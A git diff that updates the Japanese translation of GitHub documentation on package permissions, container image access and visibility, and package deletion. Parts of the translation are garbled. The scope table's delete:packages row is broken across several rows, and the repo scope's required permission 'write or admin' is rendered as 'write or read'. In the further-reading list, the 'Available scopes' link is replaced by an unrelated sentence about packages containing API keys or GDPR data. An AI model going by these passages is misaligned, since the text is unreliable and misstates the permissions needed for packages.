+5. [Third-party application access policy] の下で [**Setup application access restrictions**] をクリックします。 ![制限の設定ボタン](/assets/images/help/settings/settings-third-party-set-up-restrictions.png)
+6. サードパーティのアクセス制限に関する情報を確認したら、[**Restrict third-party application access**] をクリックします。 ![制限の確認ボタン](/assets/images/help/settings/settings-third-party-restrict-confirm.png)
diff --git a/translations/ja-JP/content/packages/learn-github-packages/about-permissions-for-github-packages.md b/translations/ja-JP/content/packages/learn-github-packages/about-permissions-for-github-packages.md
index 761cda09ec..d422c510e1 100644
--- a/translations/ja-JP/content/packages/learn-github-packages/about-permissions-for-github-packages.md
+++ b/translations/ja-JP/content/packages/learn-github-packages/about-permissions-for-github-packages.md
@@ -1,85 +1,87 @@
 ---
-title: About permissions for GitHub Packages
-intro: Learn about how to manage permissions for your packages.
+title: GitHub Packagesの権限について
+intro: パッケージの権限の管理方法を学んでください。
 product: '{% data reusables.gated-features.packages %}'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: About permissions
+shortTitle: 権限について
 ---
 
 {% ifversion fpt or ghec %}
-The permissions for packages are either repository-scoped or user/organization-scoped.
+パッケージの権限は、リポジトリスコープかユーザ/Organizationスコープです。
 {% endif %}
 
-## Permissions for repository-scoped packages
+## リポジトリスコープのパッケージの権限
 
-A repository-scoped package inherits the permissions and visibility of the repository that owns the package. You can find a package scoped to a repository by going to the main page of the repository and clicking the **Packages** link to the right of the page. {% ifversion fpt or ghec %}For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."{% endif %}
+リポジトリスコープのパッケージは、パッケージを所有するリポジトリの権限と可視性を継承します。 リポジトリをスコープとするパッケージは、リポジトリのメインページにアクセスし、ページ右にある**パッケージ**リンクをクリックすれば見つかります。 {% ifversion fpt or ghec %}詳しい情報については「[リポジトリのパッケージへの接続](/packages/learn-github-packages/connecting-a-repository-to-a-package)」を参照してください。{% endif %}
 
-The {% data variables.product.prodname_registry %} registries below use repository-scoped permissions:
+以下の{% data variables.product.prodname_registry %}レジストリは、リポジトリスコープの権限を使います。
 
-  {% ifversion not fpt or ghec %}- Docker registry (`docker.pkg.github.com`){% endif %}
-  - npm registry
-  - RubyGems registry
-  - Apache Maven registry
-  - NuGet registry
+  {% ifversion not fpt or ghec %}-Dockerレジストリ（`docker.pkg.github.com`）{% endif %}
+  - npmレジストリ
+  - RubyGemsレジストリ
+  - Apache Mavenレジストリ
+  - NuGetレジストリ
 
 {% ifversion fpt or ghec %}
-## Granular permissions for user/organization-scoped packages
+## ユーザ/Organizationスコープのパッケージの詳細な権限
 
-Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of the package separately from a repository that is connected (or linked) to a package.
+詳細な権限を持つパッケージは、個人ユーザもしくはOrganizationアカウントをスコープとします。 パッケージのアクセス制御と可視性は、パッケージに接続された（あるいはリンクされた）リポジトリは別個に変更できます。
 
-Currently, only the {% data variables.product.prodname_container_registry %} offers granular permissions for your container image packages.
+現在の処、{% data variables.product.prodname_container_registry %}だけがコンテナイメージパッケージに関する詳細な権限を提供しています。
 
-## Visibility and access permissions for container images
+## コンテナイメージの可視性とアクセス権限
 
 {% data reusables.package_registry.visibility-and-access-permissions %}
 
-For more information, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)."
+詳しい情報については「[パッケージのアクセス制御と可視性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)」を参照してください。
 
 {% endif %}
 
-## About scopes and permissions for package registries
+## パッケージの管理
 
-To use or manage a package hosted by a package registry, you must use a token with the appropriate scope, and your user account must have appropriate permissions.
+パッケージレジストリでホストされているパッケージを使用もしくは管理するためには、適切なスコープを持つトークンを使わなければならず、ユーザアカウントが適切な権限を持っていなければなりません。
 
-For example:
--  To download and install packages from a repository, your token must have the `read:packages` scope, and your user account must have read permission.
-- {% ifversion fpt or ghes > 3.0 or ghec %}To delete a package on {% data variables.product.product_name %}, your token must at least have the `delete:packages` and `read:packages` scope. The `repo` scope is also required for repo-scoped packages.{% elsif ghes < 3.1 %}To delete a specified version of a private package on {% data variables.product.product_name %}, your token must have the `delete:packages` and `repo` scope. Public packages cannot be deleted.{% elsif ghae %}To delete a specified version of a package on {% data variables.product.product_name %}, your token must have the `delete:packages` and `repo` scope.{% endif %} For more information, see "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."
+例:
+-  リポジトリからパッケージをダウンロードしてインストールするには、トークンは`read:packages`スコープを持っていなければならず、ユーザアカウントは読み取り権限を持っていなければなりません。
+- {% ifversion fpt or ghes > 3.0 or ghec %}{% data variables.product.product_name %}上のパッケージを削除するには、トークンが少なくとも`delete:packages`と`read:packages`のスコープを持っている必要があります。 repoのスコープがあるパッケージでは、`repo`スコープも必要です。{% elsif ghes < 3.1 %}{% data variables.product.product_name %}上の、プライベートパッケージの特定バージョンを削除するには、トークンが`delete:packages`と`repo`スコープを持っている必要があります。 Public packages cannot be deleted.{% elsif ghae %}To delete a specified version of a package on {% data variables.product.product_name %}, your token must have the `delete:packages` and `repo` scope.{% endif %} For more information, see "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."
 
-| Scope | Description | Required permission |
-| --- | --- | --- |
-|`read:packages`| Download and install packages from {% data variables.product.prodname_registry %} | read |
-|`write:packages`| Upload and publish packages to {% data variables.product.prodname_registry %} | write |
-| `delete:packages` | {% ifversion fpt or ghes > 3.0 or ghec %} Delete packages from {% data variables.product.prodname_registry %} {% elsif ghes < 3.1 %} Delete specified versions of private packages from {% data variables.product.prodname_registry %}{% elsif ghae %} Delete specified versions of packages from {% data variables.product.prodname_registry %} {% endif %} | admin |
-| `repo` | Upload and delete packages (along with `write:packages`, or `delete:packages`) | write or admin |
+| スコープ                                                                                                                                                                                                                                                                                        | 説明                                                                   | 必要な権限        |
+| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------- | ------------ |
+| `read:packages`                                                                                                                                                                                                                                                                             | {% data variables.product.prodname_registry %}からのパッケージのダウンロードとインストール | 読み取り         |
+| `write:packages`                                                                                                                                                                                                                                                                            | {% data variables.product.prodname_registry %}へのパッケージのアップロードと公開      | 書き込み         |
+| `delete:packages`                                                                                                                                                                                                                                                                           |                                                                      |              |
+| {% ifversion fpt or ghes > 3.0 or ghec %}{% data variables.product.prodname_registry %}からパッケージを削除する {% elsif ghes < 3.1 %}{% data variables.product.prodname_registry %}からプライベートパッケージの特定バージョンを削除する{% elsif ghae %}{% data variables.product.prodname_registry %}から特定バージョンを削除する{% endif %} |                                                                      |              |
+| 管理                                                                                                                                                                                                                                                                                          |                                                                      |              |
+| `repo`                                                                                                                                                                                                                                                                                      | パッケージのアップロードと削除 (`write:packages`または`delete:packages`と併せて)           | 書き込みもしくは読み取り |
 
-When you create a {% data variables.product.prodname_actions %} workflow, you can use the `GITHUB_TOKEN` to publish and install packages in {% data variables.product.prodname_registry %} without needing to store and manage a personal access token.
+{% data variables.product.prodname_actions %}ワークフローを作成する際には、`GITHUB_TOKEN`を使って{% data variables.product.prodname_registry %}にパッケージを公開してインストールでき、個人アクセストークンを保存して管理する必要はありません。
 
-For more information, see:{% ifversion fpt or ghec %}
-- "[Configuring a package’s access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)"{% endif %}
-- "[Publishing and installing a package with {% data variables.product.prodname_actions %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions)"
-- "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token/)"
-- "[Available scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)"
+詳しい情報については以下を参照してください:{% ifversion fpt or ghec %}
+- 「[パッケージのアクセス制御と可視性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)」{% endif %}
+- 「[{% data variables.product.prodname_actions %}でのパッケージの公開とインストール](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions)」
+- [個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token/)
+- GDPR違反、APIキー、個人を識別する情報といったセンシティブなデータを含むパッケージを公開した時
 
-## Maintaining access to packages in {% data variables.product.prodname_actions %} workflows
+## {% data variables.product.prodname_actions %}ワークフローでのパッケージへのアクセスのメンテナンス
 
-To ensure your workflows will maintain access to your packages, ensure that you're using the right access token in your workflow and that you've enabled {% data variables.product.prodname_actions %} access to your package.
+ワークフローがパッケージへのアクセスを確実に維持するためには、確実にワークフローで正しいアクセストークンを使用し、パッケージへの{% data variables.product.prodname_actions %}アクセスを有効化してください。
 
-For more conceptual background on {% data variables.product.prodname_actions %} or examples of using packages in workflows, see "[Managing GitHub Packages using GitHub Actions workflows](/packages/managing-github-packages-using-github-actions-workflows)."
+{% data variables.product.prodname_actions %}に関する概念的な背景や、ワークフローでのパッケージの使用例については、「[GitHub Actionsワークフローを使用したGitHub Packagesの管理](/packages/managing-github-packages-using-github-actions-workflows)」を参照してください。
 
-### Access tokens  
+### アクセストークン
 
-- To publish packages associated with the workflow repository, use `GITHUB_TOKEN`.
-- To install packages associated with other private repositories that `GITHUB_TOKEN` can't access, use a personal access token
+- ワークフローリポジトリに関連するパッケージを公開するには、`GITHUB_TOKEN`を使用してください。
+- `GITHUB_TOKEN`がアクセスできない他のプライベートリポジトリに関連するパッケージをインストールするには、個人アクセストークンを使用してください。
 
-For more information about `GITHUB_TOKEN` used in {% data variables.product.prodname_actions %} workflows, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)."
+{% data variables.product.prodname_actions %}ワークフローで使われる`GITHUB_TOKEN`に関する詳しい情報については「[ワークフローでの認証](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)」を参照してください。
 
 {% ifversion fpt or ghec %}
-### {% data variables.product.prodname_actions %} access for container images
+### コンテナイメージに対する{% data variables.product.prodname_actions %}アクセス
 
-To ensure your workflows have access to your container image, you must enable {% data variables.product.prodname_actions %} access to the repositories where your workflow is run. You can find this setting on your package's settings page. For more information, see "[Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)."
+ワークフローがコンテナイメージに確実にアクセスできるようにするには、ワークフローが実行されるリポジトリへの{% data variables.product.prodname_actions %}アクセスを有効化しなければなりません。 この設定は、パッケージの設定ページにあります。 詳しい情報については「[パッケージへのワークフローアクセスの保証](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)」を参照してください。
 
 {% endif %}
diff --git a/translations/ja-JP/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md b/translations/ja-JP/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
index 293248895a..9ecebeca3e 100644
--- a/translations/ja-JP/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
+++ b/translations/ja-JP/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a package's access control and visibility
-intro: 'Choose who has read, write, or admin access to your container image and the visibility of your container images on {% data variables.product.prodname_dotcom %}.'
+title: パッケージのアクセス制御と可視性の設定
+intro: 'コンテナイメージに読み取り、書き込み、管理アクセス権限があるユーザと、{% data variables.product.prodname_dotcom %} 上のコンテナイメージの可視性を選択します。'
 product: '{% data reusables.gated-features.packages %}'
 redirect_from:
   - /packages/managing-container-images-with-github-container-registry/configuring-access-control-and-visibility-for-container-images
@@ -8,94 +8,83 @@ redirect_from:
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: Access control & visibility
+shortTitle: アクセスコントロールと可視性
 ---
 
-Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of a package separately from the repository that it is connected (or linked) to.
+詳細な権限を持つパッケージは、個人ユーザもしくはOrganizationアカウントをスコープとします。 パッケージのアクセス制御と可視性は、パッケージに接続された（あるいはリンクされた）リポジトリは別個に変更できます。
 
-Currently, you can only use granular permissions with the {% data variables.product.prodname_container_registry %}. Granular permissions are not supported in our other package registries, such as the npm registry.
+現在は、{% data variables.product.prodname_container_registry %}でのみ詳細な権限を使うことができます。 詳細な権限は、npmレジストリなど他のパッケージレジストリではサポートされていません。
 
-For more information about permissions for repository-scoped packages, packages-related scopes for PATs, or managing permissions for your actions workflows, see "[About permissions for GitHub Packages](/packages/learn-github-packages/about-permissions-for-github-packages)."
+リポジトリをスコープとするパッケージの権限や、PATに関するパッケージ関連のスコープ、Actionsのワークフローの権限の管理についての詳しい情報は、「[GitHub Packagesの権限について](/packages/learn-github-packages/about-permissions-for-github-packages)」を参照してください。
 
-## Visibility and access permissions for container images
+## コンテナイメージの可視性とアクセス権限
 
 {% data reusables.package_registry.visibility-and-access-permissions %}
 
-## Configuring access to container images for your personal account
+## 個人アカウントにコンテナイメージへのアクセス権限を設定する
 
-If you have admin permissions to a container image that's owned by a user account, you can assign read, write, or admin roles to other users. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)."
+ユーザアカウントが所有するコンテナイメージに対する管理者権限がある場合には、他のユーザに読み取り、書き込み、管理者ロールを割り当てることができます。 これらの権限ロールに関する詳しい情報については、[コンテナイメージの可視性とアクセス権限](#visibility-and-access-permissions-for-container-images)」を参照してください。
 
-If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams.
+パッケージがプライベートもしくはインターナルで、Organizationによって所有されているなら、あなたにできることは他のOrganizationメンバーやTeamにアクセス権を与えることだけです。
 
 {% data reusables.package_registry.package-settings-from-user-level %}
-1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. Teams cannot be given access to a container image owned by a user account.
-  ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png)
-1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level.
-  ![Container access options](/assets/images/help/package-registry/container-access-control-options.png)
+1. パッケージ設定ページで [**Invite teams or people**] をクリックして、アクセス権を付与するユーザの名前、ユーザ名、またはメールアドレスを入力します。 Team には、ユーザアカウントが所持するコンテナイメージのアクセス権限を与えることができません。 ![コンテナアクセス権の招待ボタン](/assets/images/help/package-registry/container-access-invite.png)
+1. ユーザ名または Team 名の隣にある [Role] のドロップダウンメニューで、付与する権限レベルを選択します。 ![コンテナアクセス権のオプション](/assets/images/help/package-registry/container-access-control-options.png)
 
-The selected users will automatically be given access and don't need to accept an invitation first.
+選択したユーザには自動的にアクセス権限が与えられ、招待を承諾する必要はありません。
 
-## Configuring access to container images for an organization
+## Organization にコンテナイメージへのアクセス権限を設定する
 
-If you have admin permissions to an organization-owned container image, you can assign read, write, or admin roles to other users and teams. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)."
+Organization が所有するコンテナイメージに対する管理者権限がある場合には、他のユーザや Team に読み取り、書き込み、管理者ロールを割り当てることができます。 これらの権限ロールに関する詳しい情報については、[コンテナイメージの可視性とアクセス権限](#visibility-and-access-permissions-for-container-images)」を参照してください。
 
-If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams.
+パッケージがプライベートもしくはインターナルで、Organizationによって所有されているなら、あなたにできることは他のOrganizationメンバーやTeamにアクセス権を与えることだけです。
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. You can also enter a team name from the organization to give all team members access.
-  ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png)
-1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level.
-  ![Container access options](/assets/images/help/package-registry/container-access-control-options.png)
+1. パッケージ設定ページで [**Invite teams or people**] をクリックして、アクセス権を付与するユーザの名前、ユーザ名、またはメールアドレスを入力します。 また、Organization から Team 名を入力して、全 Team メンバーにアクセスを付与することもできます。 ![コンテナアクセス権の招待ボタン](/assets/images/help/package-registry/container-access-invite.png)
+1. ユーザ名または Team 名の隣にある [Role] のドロップダウンメニューで、付与する権限レベルを選択します。 ![コンテナアクセス権のオプション](/assets/images/help/package-registry/container-access-control-options.png)
 
-The selected users or teams will automatically be given access and don't need to accept an invitation first.
+選択したユーザや Team には自動的にアクセス権限が与えられ、招待を承諾する必要はありません。
 
-## Inheriting access for a container image from a repository
+## リポジトリからコンテナイメージへのアクセスの継承
 
-To simplify package management through {% data variables.product.prodname_actions %} workflows, you can enable a container image to inherit the access permissions of a repository by default.
+{% data variables.product.prodname_actions %}ワークフローを通じたパッケージ管理を単純化するには、デフォルトでリポジトリのアクセス権をコンテナイメージが継承できるようにすることができます。
 
-If you inherit the access permissions of the repository where your package's workflows are stored, then you can adjust access to your package through the repository's permissions.
+パッケージのワークフローが保存されているリポジトリのアクセス権限を継承する場合、リポジトリの権限を通じてパッケージへのアクセスを調整できます。
 
-Once a repository is synced, you can't access the package's granular access settings. To customize the package's permissions through the granular package access settings, you must remove the synced repository first.
+リポジトリが同期されると、パッケージの詳細なアクセス設定にはアクセスできなくなります。 詳細なパッケージのアクセス設定を通じてパッケージの権限をカスタマイズするには、まず同期されたリポジトリを取り除かなければなりません。
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-2. Under "Repository source", select **Inherit access from repository (recommended)**.
-  ![Inherit repo access checkbox](/assets/images/help/package-registry/inherit-repo-access-for-package.png)
+2. "Repository source（リポジトリソース）"の下で、**Inherit access from repository (recommended)（アクセスをリポジトリから継承（推奨））**を選択してください。 ![リポジトリアクセスの継承チェックボックス](/assets/images/help/package-registry/inherit-repo-access-for-package.png)
 
-## Ensuring workflow access to your package
+## パッケージへのワークフローのアクセスの確保
 
-To ensure that a {% data variables.product.prodname_actions %} workflow has access to your package, you must give explicit access to the repository where the workflow is stored.
+{% data variables.product.prodname_actions %}ワークフローがパッケージに確実にアクセスできるようにするためには、ワークフローが保存されているリポジトリに対する明示的なアクセスを与えなければなりません。
 
-The specified repository does not need to be the repository where the source code for the package is kept. You can give multiple repositories workflow access to a package.
+指定するリポジトリは、パッケージのソースコードが保存されているリポジトリである必要はありません。 パッケージに対して複数のリポジトリワークフローにアクセスを与えることができます。
 
 {% note %}
 
-**Note:** Syncing your container image with a repository through the **Actions access** menu option is different than connecting your container to a repository. For more information about linking a repository to your container, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."
+**ノート:** **Actionsのアクセス**メニューオプションを通じてコンテナイメージをリポジトリと同期することは、コンテナをリポジトリに接続することとは異なります。 リポジトリのコンテナへのリンクに関する詳しい情報については、「[リポジトリのパッケージへの接続](/packages/learn-github-packages/connecting-a-repository-to-a-package)」を参照してください。
 
 {% endnote %}
 
-### {% data variables.product.prodname_actions %} access for user-account-owned container images 
+### ユーザアカウントが所有するコンテナイメージへの{% data variables.product.prodname_actions %}のアクセス
 
 {% data reusables.package_registry.package-settings-from-user-level %}
-1. In the left sidebar, click **Actions access**.
-  !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
-2. To ensure your workflow has access to your container package, you must add the repository where the workflow is stored. Click **Add repository** and search for the repository you want to add.
-   !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png)
-3. Using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image.
-  ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
+1. ひだりのサイドバーで、**Actions access（Actionsのアクセス）**をクリックしてください。 ![左メニューの"Actionsアクセス"オプション](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
+2. ワークフローがコンテナパッケージに確実にアクセスできるようにするには、ワークフローが保存されるリポジトリを追加しなければなりません。 **Add repository（リポジトリの追加）**をクリックし、追加したいリポジトリを検索してください。 !["リポジトリの追加"ボタン](/assets/images/help/package-registry/add-repository-button.png)
+3. "role（ロール）"ドロップダウンメニューを使い、コンテナイメージに対してリポジトリに持たせたいデフォルトのアクセスレベルを選択してください。 ![リポジトリに与える権限アクセスレベル](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
 
-To further customize access to your container image, see "[Configuring access to container images for your personal account](#configuring-access-to-container-images-for-your-personal-account)."
+コンテナイメージへのアクセスをさらにカスタマイズするには、「[個人アカウントのためのコンテナイメージへのアクセスの設定](#configuring-access-to-container-images-for-your-personal-account)」を参照してください。
 
-### {% data variables.product.prodname_actions %} access for organization-owned container images 
+### Organizationが所有するコンテナイメージへの{% data variables.product.prodname_actions %}のアクセス
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-1. In the left sidebar, click **Actions access**.
-  !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
-2. Click **Add repository** and search for the repository you want to add.
-   !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png)
-3. Using the "role" drop-down menu, select the default access level that you'd like repository members to have to your container image. Outside collaborators will not be included.
-  ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
+1. ひだりのサイドバーで、**Actions access（Actionsのアクセス）**をクリックしてください。 ![左メニューの"Actionsアクセス"オプション](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
+2. **Add repository（リポジトリの追加）**をクリックし、追加したいリポジトリを検索してください。 !["リポジトリの追加"ボタン](/assets/images/help/package-registry/add-repository-button.png)
+3. "role（ロール）"ドロップダウンメニューを使い、リポジトリのメンバーからコンテナイメージに対して持たせたいデフォルトのアクセスレベルを選択してください。 外部のコラボレータは含まれません。 ![リポジトリに与える権限アクセスレベル](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
 
-To further customize access to your container image, see "[Configuring access to container images for an organization](#configuring-access-to-container-images-for-an-organization)."
+コンテナイメージへのアクセスをさらにカスタマイズするには、「[Organizationのためのコンテナイメージへのアクセスの設定](#configuring-access-to-container-images-for-an-organization)」を参照してください。
 
 ## Ensuring {% data variables.product.prodname_codespaces %} access to your package
 
@@ -103,71 +92,68 @@ By default, a codespace can seamlessly access certain packages in the {% data va
 
 Otherwise, to ensure that a codespace has access to your package, you must grant access to the repository where the codespace is being launched.
 
-The specified repository does not need to be the repository where the source code for the package is kept. You can give codespaces in multiple repositories access to a package.
+指定するリポジトリは、パッケージのソースコードが保存されているリポジトリである必要はありません。 You can give codespaces in multiple repositories access to a package.
 
 Once you've selected the package you're interested in sharing with codespaces in a repository, you can grant that repo access.
 
 1. In the right sidebar, click **Package settings**.
 
    !["Package settings" option in right menu](/assets/images/help/package-registry/package-settings.png)
-   
+
 2. Under "Manage Codespaces access", click **Add repository**.
 
-   !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-blank.png)
+   !["リポジトリの追加"ボタン](/assets/images/help/package-registry/manage-codespaces-access-blank.png)
 
 3. Search for the repository you want to add.
 
-   !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-search.png)
-   
+   !["リポジトリの追加"ボタン](/assets/images/help/package-registry/manage-codespaces-access-search.png)
+
 4. Repeat for any additional repositories you would like to allow access.
 
 5. If the codespaces for a repository no longer need access to an image, you can remove access.
 
    !["Remove repository" button](/assets/images/help/package-registry/manage-codespaces-access-item.png)
 
-## Configuring visibility of container images for your personal account
+## 個人アカウントにコンテナイメージの可視性を設定する
 
-When you first publish a package, the default visibility is private and only you can see the package. You can modify a private or public container image's access by changing the access settings.
+パッケージを最初に公開する際のデフォルトの可視性はプライベートで、パッケージを表示できるのは公開したユーザだけです。 アクセス設定を変更することで、プライベートやパブリックなコンテナイメージのアクセス権限を変更できます。
 
-A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again.
+パブリックパッケージは認証なしに匿名でアクセスできます。 いったんパッケージをパブリックに設定すると、そのパッケージをプライベートに戻すことはできません。
 
 {% data reusables.package_registry.package-settings-from-user-level %}
-5. Under "Danger Zone", choose a visibility setting:
-    - To make the container image visible to anyone, click **Make public**.
+5. [Danger Zone] の下で、可視性の設定を選択します。
+    - あらゆる人がコンテナイメージを表示できるようにするには、[**Make public**] をクリックします。
     {% warning %}
 
-    **Warning:** Once you make a package public, you cannot make it private again.
+    **警告:** いったんパッケージをパブリックにすると、プライベートに戻すことはできません。
 
     {% endwarning %}
-    - To make the container image visible to a custom selection of people, click **Make private**.
-  ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png)
+    - 指定したユーザだけがコンテナイメージを表示できるようにするには、[**Make private**] をクリックします。 ![コンテナ可視性のオプション](/assets/images/help/package-registry/container-visibility-option.png)
 
-## Container creation visibility for organization members
+## Organizationメンバーのためのコンテナ作成の可視性
 
-You can choose the visibility of containers that organization members can publish by default.
+デフォルトでは、Organizationのメンバーが公開できるコンテナの可視性を選択できます。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-4. On the left, click **Packages**.
-6. Under "Container creation", choose whether you want to enable the creation of public, private, or internal container images.
-    - To enable organization members to create public container images, click **Public**.
-    - To enable organization members to create private container images that are only visible to other organization members, click **Private**. You can further customize the visibility of private container images.
-    - To enable organization members to create internal container images that are visible to all organization members, click **Internal**. If the organization belongs to an enterprise, the container images will be visible to all enterprise members.
-    ![Visibility options for container images published by organization members](/assets/images/help/package-registry/container-creation-org-settings.png)
+4. 左側にある [**Packages**] をクリックします。
+6. "Container creation（コンテナ作成）"の下で、パブリック、プライベート、インターナルのコンテナイメージの作成を有効化するかを選択してください。
+    - Organization のメンバーがパブリックのコンテナイメージを作成できるようにするには、[**Public**] をクリックします。
+    - Organization のメンバーに、Organization のメンバーのみが表示できるプライベートコンテナイメージの作成ができるようにするには、[**Private**] をクリックします。 プライベートコンテナイメージの可視性については、さらに細かくカスタマイズできます。
+    - To enable organization members to create internal container images that are visible to all organization members, click **Internal**. If the organization belongs to an enterprise, the container images will be visible to all enterprise members. ![Organizationのメンバーが公開するコンテナイメージの可視性オプション](/assets/images/help/package-registry/container-creation-org-settings.png)
 
-## Configuring visibility of container images for an organization
+## Organization にコンテナイメージの可視性を設定する
 
-When you first publish a package, the default visibility is private and only you can see the package. You can grant users or teams different access roles for your container image through the access settings.
+パッケージを最初に公開する際のデフォルトの可視性はプライベートで、パッケージを表示できるのは公開したユーザだけです。 アクセス設定を使用して、コンテナイメージに対するさまざまなアクセスロールをユーザや Team に付与できます。
 
-A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again.
+パブリックパッケージは認証なしに匿名でアクセスできます。 いったんパッケージをパブリックに設定すると、そのパッケージをプライベートに戻すことはできません。
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-5. Under "Danger Zone", choose a visibility setting:
-    - To make the container image visible to anyone, click **Make public**.
+5. [Danger Zone] の下で、可視性の設定を選択します。
+    - あらゆる人がコンテナイメージを表示できるようにするには、[**Make public**] をクリックします。
     {% warning %}
 
-    **Warning:** Once you make a package public, you cannot make it private again.
+    **警告:** いったんパッケージをパブリックにすると、プライベートに戻すことはできません。
 
     {% endwarning %}
-    - To make the container image visible to a custom selection of people, click **Make private**.
-  ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png)
+    - 指定したユーザだけがコンテナイメージを表示できるようにするには、[**Make private**] をクリックします。 ![コンテナ可視性のオプション](/assets/images/help/package-registry/container-visibility-option.png)
diff --git a/translations/ja-JP/content/packages/learn-github-packages/deleting-and-restoring-a-package.md b/translations/ja-JP/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
index 26d0725a9b..148f2ed2cd 100644
--- a/translations/ja-JP/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
+++ b/translations/ja-JP/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting and restoring a package
-intro: Learn how to delete or restore a package.
+title: パッケージを削除および復元する
+intro: パッケージの削除と復元の方法を学びます。
 product: '{% data reusables.gated-features.packages %}'
 redirect_from:
   - /github/managing-packages-with-github-packages/deleting-a-package
@@ -12,37 +12,37 @@ versions:
   ghes: '>=3.1'
   ghec: '*'
   ghae: '*'
-shortTitle: Delete & restore a package
+shortTitle: パッケージの削除と復元
 ---
 
 {% data reusables.package_registry.packages-ghes-release-stage %}
 
-## Package deletion and restoration support on {% data variables.product.prodname_dotcom %}
+## {% data variables.product.prodname_dotcom %}におけるパッケージの削除および復元のサポート
 
-On {% data variables.product.prodname_dotcom %} if you have the required access, you can delete:
-- an entire private package
-- an entire public package, if there's not more than 5000 downloads of any version of the package
-- a specific version of a private package
-- a specific version of a public package, if the package version doesn't have more than 5000 downloads
+{% data variables.product.prodname_dotcom %}では、必要なアクセス権がある場合、以下を削除できます。
+- プライベートパッケージ全体
+- パッケージの全バージョンでダウンロード数が5000以下の場合、パブリックパッケージ全体
+- プライベートパッケージの特定のバージョン
+- パッケージバージョンのダウンロード数が5000以下の場合、パブリックパッケージの特定のバージョン
 
 {% note %}
 
-**Note:** 
-- You cannot delete a public package if any version of the package has more than 5000 downloads. In this scenario, contact [GitHub support](https://support.github.com/contact?tags=docs-packages) for further assistance.
-- When deleting public packages, be aware that you may break projects that depend on your package.
+**注釈:**
+- パッケージのいずれかのパージョンでダウンロード数が5000を超えている場合は、パブリックパッケージを削除できません。 この場合は、[GitHubサポート](https://support.github.com/contact?tags=docs-packages)までお問い合わせください。
+- パブリックパッケージを削除する場合、そのパッケージに依存するプロジェクトを破壊する可能性があることに注意してください。
 
 {% endnote %}
 
-On {% data variables.product.prodname_dotcom %}, you can also restore an entire package or package version, if:
